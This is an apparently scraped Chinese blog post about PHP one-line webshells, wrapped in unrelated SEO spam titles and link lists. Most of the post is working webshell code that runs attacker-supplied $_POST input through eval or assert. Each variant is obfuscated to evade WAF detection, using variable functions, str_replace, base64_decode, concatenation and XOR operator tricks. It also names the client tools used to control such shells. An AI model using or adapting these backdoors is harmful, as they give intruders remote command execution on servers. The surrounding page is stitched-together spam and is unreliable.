当前位置: 首页 > news >正文

做企业展示型网站的好处最经典最常用的网站推广方式

做企业展示型网站的好处,最经典最常用的网站推广方式,服装设计师的个人网站,手机短视频制作软件app今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。 通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,…

今天来和大家聊一聊,一句话木马的多种变形方式。 经常有客户的网站碰到被上传小马和大马,这里的“马”是木马的意思,可不是真实的马。
通常,攻击者利用文件上传漏洞,上传一个可执行并且能被解析的脚本文件,通过这个脚本来获得服务器端执行命令的能力,也就是我们经常听到的WebShell,而这个脚本文件就是我们常说的大马和小马。

1、都有些什么“马”?

  • 小马
    体积小,功能少,优点在于不易被发现,功能单一,常作为上传大马的跳板。
  • 大马
    体积大,功能强大,但是易被发现。
  • 一句话木马
    在小马和大马之外衍生出的另一种木马,只需短短一行代码,再结合WebShell工具(如菜刀、蚁剑、冰蝎等等)就能做到与大马能力相当的功能(执行命令行、文件上传、文件下载等功能)。

随着一句话木马的滥用,普通的一句话木马都已经逃不过waf的检测了,为了逃避waf的检测,一句话木马开始了他的变形之旅。

2、一句话木马的变形之路

【最初的一句话】
制作一句话:

<?php @eval($_POST['juminfo']);?>
<?php @assert($_POST['juminfo']);?>

【create_function函数】
脚本内容:

<?php
$fun = create_function('',$_POST['juminfo']);
$fun();
?>

把用户传递的数据生成一个函数fun(),然后再执行fun()。

【PHP变量函数】
脚本内容:

<?php
$a = "assert";
$a(@$_POST['juminfo']);
?>

第三行使用了变量函数$a,变量储存了函数名eval,便可以直接用变量替代函数名。
【PHP可变变量】
脚本内容:

<?php
$bb="assert";
$a="bb";
$$a(@$_POST['juminfo']);
?>

通过上一个语句进行的多一层变化:$$a = ( ( (a) = $ (‘bb’) = $bb = “assert”
【str_replace函数】
脚本内容:

<?php
$a=str_replace("juminfo", "", "assjuminfoert");
$a(@$_POST['juminfo']);
?>

在第三个参数中,查找第一个参数,并替换成第二个参数。这里第二个参数为空字符串,就相当于删除"juminfo"。
【base64_decode函数】
脚本内容:

<?php
$a=base64_decode("YXNzZXJ0")
$a($_POST['juminfo']);
?>

这里是base64解密函数,"YXNzZXJ0"是assert的base64加密。

【"."操作符】
脚本内容:

<?php
$a="as"."s";
$b="er"."t";
$c=$a.$b;
$c($_POST['juminfo']);
?>

【运算符变形】
脚本内容:

<?php
@$_++;
$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");
$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");
${$__}[!$_](${$___}[$_]);
?>

当我第一次看到这个脚本的时候,一头雾水,这是什么东西?
后来用echo打印出三个变量 + + 、 _++、 ++__、$___可以看到他们的值分别为1、_GET、_POST,放入最后一条语句中刚好组成一个两层的一句话木马。

<?php $_GET[0]($_POST[1])?>

只要我们将0赋值为assert就可以构成经典的一句话<?php assert($_POST[1])?>,密码是1。
在这里插入图片描述

3、总结

一句话的混淆方式还有很多很多,基于以上的变形思路还能够衍生出无数新的变种木马,为了更好地防止“被放马”的事件发生,我们应该及时对使用的安全产品进行更新,才能让“马”无处可走。

http://www.laogonggong.com/news/3018.html

相关文章:

  • 做 58 那样的网站软文广告500字
  • django做的网站举例网页seo是什么意思
  • 无锡网站seo报价网站的友情链接是什么意思
  • 做网站需要哪些基本功能百度电话客服24小时
  • 备案个人可以做视频网站吗网站推广的案例
  • 开一个网站多少钱公司网站制作教程
  • 给别人做违法网站搜索引擎下载入口
  • 深圳建网站技术现在最火的发帖平台
  • 网站设计素养郑州seo优化
  • 先做他个天猫网站旺道seo推广效果怎么样
  • 网站建设色彩搭配阿里指数查询官网入口
  • 池州网站建设网站建设南宁优化网站网络服务
  • 网页设计工资一般多少钱一小时百度快照seo
  • 上虞网站建设廊坊seo整站优化
  • 网站是怎么搭建的暴疯团队seo课程
  • 怎样更新网站内容廊坊网站推广公司
  • 图文素材库免费河南网站排名优化
  • 老师问我做网站用到什么创新技术网络搜索词排名
  • 许昌网站制作腾讯nba新闻
  • 网站建设 成都淘宝seo
  • 网站备案官网竞价网官网
  • 建官网个人网站百度推广代理开户
  • 机构单位网站建设方案成都新闻今日最新消息
  • 外管局网站上做预收登记泉州seo托管
  • 网站静态页模板谷歌浏览器手机版官网下载
  • wordpress 今日头条seo网站诊断流程
  • 广西建设网个人查询中央网站seo
  • 外汇做单记录做单专业网站有哪些登录注册入口
  • 东莞市官网网站建设平台百搜科技
  • 广州做网站建设的公司超级推荐的关键词怎么优化